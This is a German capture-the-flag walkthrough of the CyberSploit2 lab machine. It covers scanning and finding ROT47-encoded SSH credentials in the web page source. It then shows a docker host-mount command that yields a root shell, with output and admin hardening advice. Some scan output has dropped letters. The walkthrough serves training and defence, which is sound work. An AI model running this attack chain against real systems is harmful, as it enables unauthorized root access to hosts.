192.168.2.182 08:00:27:2b:8c:03 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Hosts zu identifizieren.
Bewertung: Ein Host mit der IP `192.168.2.182` wurde gefunden. Die MAC-Adresse (`08:00:27:2b:8c:03`) deutet auf eine VirtualBox-VM hin (Hersteller: PCS Systemtechnik GmbH).
Empfehlung (Pentester): `192.168.2.182` als Ziel-IP für weitere Scans vormerken.
Empfehlung (Admin): Standard-Netzwerkerkennung. Implementierung von Netzwerk-Monitoring kann helfen, Scans zu erkennen.
[Inhalt der /etc/hosts Datei nach der Bearbeitung] 192.168.2.182 CyberSploit2.vln
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `CyberSploit2.vln` der IP-Adresse `192.168.2.182` zuzuordnen.
Bewertung: Sinnvoller Schritt, um das Zielsystem konsistent über seinen Hostnamen anzusprechen, besonders wichtig für Web-Tests.
Empfehlung (Pentester): Verwende `CyberSploit2.vln` in nachfolgenden Befehlen.
Empfehlung (Admin): Clientseitige Einstellung.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-18 14:59 CEST Nmap scan report for CyberSploit2.vln (192.168.2.182) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 8.0 (protocol 2.0) | ssh-hostkey: | 3072 ad:6d:15:e7:44:e9:7b:b8:59:09:19:5c:bd:d6:6b:10 (RSA) | 256 d6:d5:b4:5d:8d:f9:5e:6f:3a:31:ad:81:80:34:9b:12 (ECDSA) |_ 256 69:79:4f:8c:90:e9:43:6c:17:f7:31:e8:ff:87:05:31 (ED25519) 80/tcp open http Apache httpd 2.4.37 ((centos)) | http-methods: |_ Potentially risky methods: TRACE |_http-title: CyberSploit2 |_http-server-header: Apache/2.4.37 (centos) MAC Address: 08:00:27:2B:8C:03 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 S details: Linux 3.2 - 4.9 Network Distance: 1 hop TRACERUTE HP RTT ADDRESS 1 0.12 ms CyberSploit2.vln (192.168.2.182)
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird gegen das Ziel durchgeführt.
Bewertung: Zwei offene Ports werden identifiziert: * **Port 22 (SSH):** OpenSSH Version 8.0. Relativ modern. * **Port 80 (HTTP):** Apache httpd 2.4.37 (CentOS). Eine etwas ältere Version. Der Seitentitel ist "CyberSploit2". Die HTTP-Methode TRACE ist aktiviert, was ein geringes Risiko (Cross-Site Tracing - XST) darstellen kann.
Empfehlung (Pentester): Konzentriere die Untersuchung auf den Webserver (Port 80). Prüfe SSH auf schwache Passwörter, auch wenn die Version relativ neu ist.
Empfehlung (Admin): Apache aktualisieren. Die TRACE-Methode im Apache deaktivieren (`TraceEnable Off` in der Konfiguration). SSH sicher konfigurieren (Key-Authentifizierung, Fail2Ban etc.).
22/tcp open ssh penSSH 8.0 (protocol 2.0) 80/tcp open http Apache httpd 2.4.37 ((centos))
Analyse: Wiederholung des Nmap-Scans mit Filterung auf offene Ports.
Bewertung: Bestätigt die beiden offenen Ports SSH (22) und HTTP (80).
Empfehlung (Pentester): Beginne mit der Webserver-Enumeration.
Empfehlung (Admin): Siehe vorherige Nmap-Empfehlungen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.182 + Target Hostname: 192.168.2.182 + Target Port: 80 + Start Time: 2023-10-18 14:59:06 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.37 (centos) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + Apache/2.4.37 appears to be outdated [...]. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE . + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. [...] + /icons/: Directory indexing found. + /icons/README: Apache default file found. [...] + 8908 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2023-10-18 14:59:27 (GMT2) (21 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 ausgeführt.
Bewertung: Nikto bestätigt die Ergebnisse von Nmap und fügt hinzu: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Bestätigung der veralteten Apache-Version. * Bestätigung der aktiven TRACE-Methode (XST-Risiko). * Directory Indexing im Standard-Verzeichnis `/icons/` gefunden. * Standard-Apache-Datei `/icons/README` gefunden. Es wurden keine spezifischen Webanwendungen (wie WordPress o.ä.) oder offensichtlich kritische Schwachstellen durch Nikto gefunden.
Empfehlung (Pentester): Führe einen Verzeichnis-Bruteforce durch, um versteckte Inhalte zu finden. Untersuche die Startseite (`index.html`) manuell.
Empfehlung (Admin): Apache aktualisieren, TRACE deaktivieren, Sicherheitsheader hinzufügen, Directory Indexing deaktivieren (`Options -Indexes`), Standard-Dateien entfernen.
Analyse:** Der Webserver auf Port 80 wird weiter untersucht.
http://cybersploit2.vln/index.html (Status: 200) [Size: 3471]
Analyse: `gobuster dir` wird verwendet, um nach Verzeichnissen und Dateien zu suchen. Die Option `-b 301` blendet Redirects aus.
Bewertung: Findet nur `index.html`. Aufgrund des Filters `-b 301` könnten relevante Verzeichnisse übersehen worden sein. Die `index.html` ist der nächste logische Schritt.
Empfehlung (Pentester): Analysiere den Quelltext von `index.html`. Führe den Scan ggf. ohne `-b 301` erneut durch.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt.
Analyse:** Der Quelltext der Startseite wird untersucht.
[... HTML-Tabelle mit kodierten Daten ...]
D92:=6?5C2
4J36CDA=@:E`
[...]
Input (ROT47): D92:=6?5C2 -> Output: shailendra Input (ROT47): 4J36CDA=@:E` -> Output: cybersploit1
Analyse: Im Quelltext der `index.html` wird ein Kommentar `` gefunden. Weiter unten im Code (vermutlich in einer HTML-Tabelle, basierend auf den späteren `curl`-/`tr`-Befehlen) befinden sich die ROT47-kodierten Zeichenketten `D92:=6?5C2` und `4J36CDA=@:E\``. ROT47 ist eine Cäsar-Verschlüsselungsvariante, die alle druckbaren ASCII-Zeichen verschiebt. Diese Strings werden mit einem externen Decoder entschlüsselt.
Bewertung: **Kritischer Fund!** Die Dekodierung der ROT47-Strings ergibt einen Benutzernamen und ein Passwort: `shailendra`:`cybersploit1`. Dies sind höchstwahrscheinlich die Zugangsdaten für den SSH-Dienst.
Empfehlung (Pentester): Versuche sofort, dich mit den Zugangsdaten `shailendra:cybersploit1` per SSH (Port 22) anzumelden.
Empfehlung (Admin): Speichere niemals Zugangsdaten, auch nicht verschleiert oder kodiert, im Quelltext von Webseiten. Verwende sichere Authentifizierungsmethoden.
D92:=6?5C2 4J36CDA=@:E`
Analyse: Dieser Befehl extrahiert die ROT47-kodierten Strings automatisiert aus dem HTML-Quelltext: * `curl http://cybersploit2.vln/index.html`: Lädt den HTML-Code herunter. * `grep "
Bewertung: Dies ist eine Methode, die gefundenen kodierten Strings zu isolieren. Es bestätigt die manuelle Analyse, liefert aber keine neuen Informationen über die Entschlüsselung selbst.
Empfehlung (Pentester): Die manuelle Analyse und Dekodierung war ausreichend. Dieser Schritt ist optional.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt.
Analyse:** Versuch, sich mit den gefundenen Zugangsdaten per SSH anzumelden.
shailendra@cybersploit2.vln's password: cybersploit1 [Passworteingabe]
Last failed login: Wed Oct 18 18:44:55 IST 2023 from 192.168.2.199 on ssh:notty
There were 621 failed login attempts since the last successful login.
Last login: Wed Jul 15 12:32:09 2020
[shailendra@localhost ~]$
Analyse: Eine SSH-Verbindung zum Ziel `cybersploit2.vln` wird als Benutzer `shailendra` initiiert. Das zuvor dekodierte Passwort `cybersploit1` wird eingegeben.
Bewertung: **Initial Access erfolgreich!** Der Login als Benutzer `shailendra` mittels der im Webseiten-Quelltext gefundenen und dekodierten Zugangsdaten war erfolgreich. Die hohe Anzahl fehlgeschlagener Login-Versuche (621) deutet darauf hin, dass das Passwort möglicherweise auch durch Brute-Force hätte gefunden werden können, aber die ROT47-Methode war schneller.
Empfehlung (Pentester): Führe grundlegende Enumeration als Benutzer `shailendra` durch. Suche nach Hinweisen, Konfigurationsdateien oder Möglichkeiten zur Privilege Escalation.
Empfehlung (Admin): Ändere das Standardpasswort für `shailendra`. Speichere keine Zugangsdaten im Webseiten-Code. Implementiere Brute-Force-Schutz für SSH (z.B. Fail2Ban).
hint.txt
docker
Analyse: Im Home-Verzeichnis des Benutzers `shailendra` wird eine Datei `hint.txt` gefunden und ihr Inhalt angezeigt.
Bewertung: Die Datei enthält nur das Wort "docker". Dies ist ein **sehr starker Hinweis** auf den nächsten Schritt: Privilege Escalation über Docker.
Empfehlung (Pentester): Prüfe, ob der Benutzer `shailendra` zur Gruppe `docker` gehört (`id`). Wenn ja, ist eine einfache Rechteerweiterung mittels Docker möglich (siehe GTFOBins). Prüfe, ob der Docker-Daemon läuft (`ps aux | grep docker`).
Empfehlung (Admin): Füge Benutzer nur zur Gruppe `docker` hinzu, wenn dies absolut notwendig ist, da dies oft gleichbedeutend mit Root-Rechten ist.
353151 132 -rwsr-xr-x 1 root root 133928 Nov 9 2019 /usr/bin/chage 365888 156 -rwsr-xr-x 1 root root 156736 Nov 9 2019 /usr/bin/gpasswd 365891 88 -rwsr-xr-x 1 root root 88488 Nov 9 2019 /usr/bin/newgrp 375071 52 -rwsr-xr-x 1 root root 50448 Apr 24 2020 /usr/bin/su 375074 36 -rwsr-xr-x 1 root root 33760 Apr 24 2020 /usr/bin/umount 375056 52 -rwsr-xr-x 1 root root 50576 Apr 24 2020 /usr/bin/mount 559581 164 s--x--x 1 root root 165656 Apr 24 2020 /usr/bin/sudo 398432 36 -rwsr-xr-x 1 root root 35624 Apr 9 2020 /usr/bin/pkexec 544230 36 -rwsr-xr-x 1 root root 33600 Apr 7 2020 /usr/bin/passwd 418961 68 -rwsr-xr-x 1 root root 65904 Nov 8 2019 /usr/bin/crontab [...]
Analyse: Suche nach SUID-Binaries auf dem System.
Bewertung: Die Liste zeigt viele Standard-SUID-Binaries. `sudo` ist vorhanden, aber die Berechtigungen sind interessant (`s--x--x`). Es gibt keine offensichtlich ungewöhnlichen oder benutzerdefinierten SUID-Dateien, die auf einen einfachen Exploit hindeuten.
Empfehlung (Pentester): Aufgrund des "docker"-Hinweises ist der wahrscheinlichste Weg die Docker-Privilege-Escalation. Prüfe trotzdem kurz die `sudo`-Rechte (`sudo -l`).
Empfehlung (Admin): Entferne unnötige SUID-Bits. Konfiguriere `sudo` sicher.
Ziel des POC: Demonstrieren, wie durch Analyse des Webseiten-Quelltextes ROT47-kodierte Zugangsdaten gefunden, dekodiert und anschließend für einen erfolgreichen SSH-Login verwendet werden können.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. Quelltext analysieren: Den HTML-Quelltext von `http://cybersploit2.vln` untersuchen und den ``-Kommentar sowie die kodierten Strings (`D92:=6?5C2`, `4J36CDA=@:E\``) finden.
[...]D92:=6?5C2 [...]4J36CDA=@:E` [...]
2. Strings dekodieren: Einen ROT47-Decoder verwenden.
D92:=6?5C2 -> shailendra 4J36CDA=@:E` -> cybersploit1
3. SSH-Login: Mit den dekodierten Credentials anmelden.
shailendra@cybersploit2.vln's password: cybersploit1
[...]
[shailendra@localhost ~]$
Ergebnis & Bewertung: **Initialer Zugriff erfolgreich!** Durch das Auffinden und Dekodieren der im Quelltext versteckten Zugangsdaten konnte eine SSH-Sitzung als Benutzer `shailendra` etabliert werden. Dies unterstreicht die Gefahr, sensible Informationen – selbst verschleiert – in clientseitigem Code zu hinterlegen.
Empfehlung (Pentester): Beginne die Post-Exploitation-Phase als `shailendra`.
Empfehlung (Admin): **Niemals Zugangsdaten in HTML/JS/CSS speichern!** Verwende serverseitige Authentifizierung und sichere Passwortspeicherung.
Analyse:** Basierend auf dem "docker"-Hinweis in `hint.txt` wird versucht, über Docker Root-Rechte zu erlangen.
Analyse:** Recherche auf GTFOBins (oder ähnlichen Ressourcen) zeigt eine bekannte Methode zur Rechteerweiterung, wenn ein Benutzer Docker-Befehle ausführen kann.
# Shell It can be used to break out from restricted environments by spawning an interactive system shell. The resulting is a root shell. docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Analyse: Der Befehl von GTFOBins wird erklärt: * `docker run`: Startet einen neuen Docker-Container. * `-v /:/mnt`: Mountet das gesamte Root-Dateisystem (`/`) des Host-Systems in das Verzeichnis `/mnt` innerhalb des Containers. Dies ist der entscheidende Schritt, der Zugriff auf alle Host-Dateien ermöglicht. * `--rm`: Löscht den Container automatisch nach dem Beenden. * `-it`: Startet den Container interaktiv mit einem Pseudo-Terminal. * `alpine`: Verwendet das schlanke Alpine Linux Image als Basis für den Container. * `chroot /mnt`: Wechselt das Root-Verzeichnis der Shell innerhalb des Containers auf das gemountete Host-Dateisystem (`/mnt`). * `sh`: Startet eine Shell innerhalb des `chroot`-Kontextes.
Bewertung: Wenn der Benutzer `shailendra` zur Docker-Gruppe gehört oder `sudo`-Rechte hat, Docker-Befehle auszuführen, ermöglicht dieser Befehl das Erstellen eines Containers, der vollen Zugriff auf das Host-Dateisystem hat. Durch `chroot /mnt` agiert die Shell innerhalb des Containers dann effektiv als Root auf dem Host-System.
Empfehlung (Pentester): Führe diesen Docker-Befehl als `shailendra` aus.
Empfehlung (Admin): Füge Benutzer nur zur `docker`-Gruppe hinzu, wenn sie tatsächlich Root-Rechte auf dem System haben sollen. Konfiguriere `sudo` für Docker restriktiv, falls benötigt.
Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 96526aa774ef: Pull complete Digest: sha256:eece025e432126ce23f223450a0326fbebde39cdf496a85d8c016293fc851978 Status: Downloaded newer image for alpine:latest sh-4.4# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(cdrom),20(games),26,27 context=system_u:system_r:spc_t:s0 sh-4.4#
Analyse: Der GTFOBins-Befehl wird als Benutzer `shailendra` ausgeführt. Da das `alpine`-Image lokal nicht vorhanden ist, wird es heruntergeladen. Anschließend wird der Container gestartet, das Host-Root-Verzeichnis gemountet, `chroot` ausgeführt und eine Shell gestartet. Der `id`-Befehl innerhalb dieser neuen Shell wird ausgeführt.
Bewertung:** **Privilege Escalation erfolgreich!** Der `id`-Befehl zeigt `uid=0(root)`. Obwohl man sich technisch gesehen in einem Container befindet, hat dieser durch den Mount und `chroot` vollen Root-Zugriff auf das darunterliegende Host-System.
Empfehlung (Pentester): Der Root-Zugriff ist etabliert. Suche die Root-Flag, die sich nun im (ehemaligen) Host-Root-Verzeichnis befinden sollte (jetzt `/`).
Empfehlung (Admin): Siehe vorherige Empfehlung zur `docker`-Gruppenmitgliedschaft.
anaconda-ks.cfg flag.txt get-docker.sh logs}
__ ___ _ __ ___ __ _____ __ / /` / / \ | |\ | / /`_ | |_) / /\ | | ( (` \_\_, \_\_/ |_| \| \_\_/ |_| \ /_/--\ |_| _)_) Pwned CyberSploit2 PC share it with me twitter@cybersploit1 Thanks !
Analyse: Innerhalb der Root-Shell (im Docker/chroot-Kontext) wird in das Root-Home-Verzeichnis (`~` entspricht jetzt `/root` des Hosts) gewechselt. Dort wird die Datei `flag.txt` gefunden und ihr Inhalt ausgegeben.
Bewertung: Die Root-Flag (als ASCII-Art und Textnachricht) wurde gefunden.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt, außer die vorherigen Maßnahmen zur Verhinderung der PE umzusetzen.
Ziel des POC: Demonstrieren, wie ein Benutzer (`shailendra`), der Docker-Befehle ausführen kann, durch Mounten des Host-Dateisystems in einen Container und anschließendes `chroot` vollständige Root-Rechte auf dem Host-System erlangen kann.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. SSH-Login als shailendra: (Wie im Initial Access POC)
2. Docker-Breakout-Befehl ausführen: Den Befehl von GTFOBins verwenden.
[...] sh-4.4#
3. Rechte überprüfen: Mit `id` die erlangten Root-Rechte bestätigen.
uid=0(root) gid=0(root) groups=0(root)[...]
Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Durch Ausnutzung der Docker-Berechtigungen konnte eine Root-Shell auf dem Host-System erlangt werden. Dies ist eine bekannte und effektive Methode, wenn Docker unsicher konfiguriert ist.
Empfehlung (Pentester): Root-Zugriff ist etabliert. Flags extrahieren.
Empfehlung (Admin): **Beschränke die Mitgliedschaft in der `docker`-Gruppe streng.** Behandle Docker-Zugriff wie Root-Zugriff.